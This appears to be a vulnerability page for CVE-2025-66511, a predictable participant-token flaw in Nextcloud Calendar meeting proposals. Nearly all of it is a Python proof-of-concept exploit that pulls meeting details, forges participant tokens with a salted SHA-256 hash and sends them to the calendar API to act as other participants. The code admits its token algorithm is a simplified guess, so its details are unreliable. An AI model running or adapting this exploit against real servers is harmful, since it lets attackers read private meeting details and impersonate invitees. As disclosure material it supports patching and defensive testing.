CVE-2025-66511 Nextcloud Calendar会议参与令牌可预测漏洞

#!/usr/bin/env python3 """ CVE-2025-66511 PoC - Nextcloud Calendar Participant Token Prediction Note: This is for educational purposes only. Do not use without authorization. """ import hashlib import requests # Configuration NEXTCLOUD_URL = "https://your-nextcloud-instance.com" MEETING_ID = "target_meeting_id" PARTICIPANT_ID = "attacker_controlled_or_known_id" def generate_participant_token(meeting_id, participant_id, salt="known_or_discovered_salt"): """ Generate participant token using the vulnerable hash function. The actual algorithm may vary - this is a demonstration. """ # This is a simplified representation of the vulnerable token generation data = f"{meeting_id}:{participant_id}:{salt}" token = hashlib.sha256(data.encode()).hexdigest()[:32] return token def exploit(): """ Exploit steps: 1. Get meeting proposal details (publicly accessible) 2. Extract meeting_id and participant information 3. Generate valid participant tokens 4. Submit date proposals using generated tokens """ # Step 1: Get meeting details meeting_url = f"{NEXTCLOUD_URL}/apps/calendar/api/v1/meetings/{MEETING_ID}" response = requests.get(meeting_url) if response.status_code == 200: meeting_data = response.json() print(f"[+] Retrieved meeting: {meeting_data.get('title')}") # Step 2: Generate tokens for each participant participants = meeting_data.get('participants', []) for participant in participants: participant_id = participant.get('id') token = generate_participant_token(MEETING_ID, participant_id) # Step 3: Use token to access details or submit dates detail_url = f"{NEXTCLOUD_URL}/apps/calendar/api/v1/meetings/{MEETING_ID}/proposal" headers = {'X-Participant-Token': token} detail_response = requests.get(detail_url, headers=headers) if detail_response.status_code == 200: print(f"[+] Successfully accessed meeting details as {participant_id}") print(f"[+] Token: {token}") if __name__ == "__main__": print("CVE-2025-66511 - Nextcloud Calendar Token Prediction") exploit()